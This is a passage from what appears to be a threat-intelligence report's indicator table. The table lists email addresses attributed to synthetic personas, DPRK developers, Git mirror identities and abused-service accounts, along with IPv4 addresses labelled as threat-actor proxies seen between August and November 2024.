align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">zoran.parlov@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">ivanmatic.fs@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">marcelpaw.lowski@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">tomislavbozic.work@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">dominik.wojk@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">piotrglowacki.pol@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">leonzielinski.pol@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">stanislav.timko@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">oleg.kaplanski@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">rafael.ratkovic@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">mateusz.moczar@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">nadoyankovic@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">dionizy.kohutek@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">emilsvalina@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">kostic.gordan@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">josipbraut@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">mirantrkulja@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">pavlehristov.work@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">vedranpodrug@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">zvonkobogdan.cr@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">filipdamevski001@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">albertoszlar52@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">benjaminellertsson@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">fedorkadoic@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">izakholmberg12@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">markusvillig20@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">reigojakobson45@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">masudtarik69@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">vaikokangur45@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">osogovskiplanini001@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">aleksonikov001@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">angelovaandreev@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">ivanopavic13@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">davorsabolic2@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">juricleon407@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">kondradgodzki@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">velizarborisov.fs@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">trivuniliikc519@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">alexandermori1218@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Synthetic persona email</td><td align="left">2</td></tr><tr><td align="left"><code className="">smupyknight@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">btrs.corp@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">byolate@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">starneit105@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">chrissamuel729@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">lozanvranic@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">qoneits@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">kitdb@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">d.musatovdv@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">nikola.radomic322@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">DPRK developer email</td><td align="left">2</td></tr><tr><td align="left"><code className="">duykhanh.prodev@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">chebiinixon91@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">jeffukus@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">mohamed_dhifli@hotmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">saputranady@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">ryannguyen0303@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">fahrultect@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">patrickjuniorukutegbe@rocketmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">fahrultech@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">mirzayevorzu127@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">tsunaminori@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">yhwucss@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">btrs.corp@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">ledanglong@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">cwertlinks@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">bukoyesamuel9@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">gwanchi@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">efezinoukpowe@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">thnam0107@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">vijanakaush@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">luis.miguel208@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">smupyknight@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Git mirror developer identity</td><td align="left">2</td></tr><tr><td align="left"><code className="">brankojovovic99@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Administrative/testing accounts on abused services</td><td align="left">2</td></tr><tr><td align="left"><code className="">manuetuazon.work@gmail.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Administrative/testing accounts on abused services</td><td align="left">2</td></tr><tr><td align="left"><code className="">upwork.management.whm@outlook.com</code></td><td align="left">email</td><td align="left">insider</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Administrative/testing accounts on abused services</td><td align="left">2</td></tr><tr><td align="left"><code className="">1.20.169.90</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">103.106.112.166</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">103.152.100.221</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">103.155.199.28</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">103.174.81.10</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">103.190.171.37</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">103.39.70.248</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">107.178.11.226</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">107.189.8.240</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">113.160.133.32</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">115.72.1.61</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">117.1.101.198</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">121.132.60.117</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">125.26.238.166</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">139.178.67.134</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">14.225.215.117</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">143.110.226.180</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">144.217.207.22</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">146.190.114.113</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">147.28.155.20</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">148.72.168.81</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.229.34</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.229.42</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.229.46</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.229.47</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.229.83</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.229.86</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.229.93</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.231.42</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.231.83</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.231.86</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.231.93</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">152.26.231.94</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">153.92.214.226</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">157.245.59.236</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">171.228.181.120</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">171.99.253.154</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">172.105.247.219</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">173.255.223.18</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">178.63.180.104</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">179.1.195.163</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">184.168.124.233</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">193.227.129.196</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">193.38.244.17</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">194.104.136.243</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">194.164.206.37</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">195.159.124.57</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">195.85.250.12</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">2.59.181.125</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">200.24.159.153</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">200.60.20.11</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">203.150.128.86</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">204.12.227.114</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">222.252.194.204</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">222.252.194.29</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">23.237.145.36</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">31.41.216.122</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">34.122.58.60</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">37.210.118.247</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">37.46.135.225</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">38.158.202.121</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">38.183.146.125</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">4.7.147.233</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">45.119.114.203</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">45.144.166.24</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">45.189.252.218</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">45.81.115.86</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">47.220.151.116</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">50.6.193.80</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td align="left">Threat actor proxy address (may be shared origin)</td><td align="left">2</td></tr><tr><td align="left"><code className="">51.159.75.249</code></td><td align="left">ipv4</td><td align="left">insider</td><td align="left">August 2024</td><td align="left">November 2024</td><td 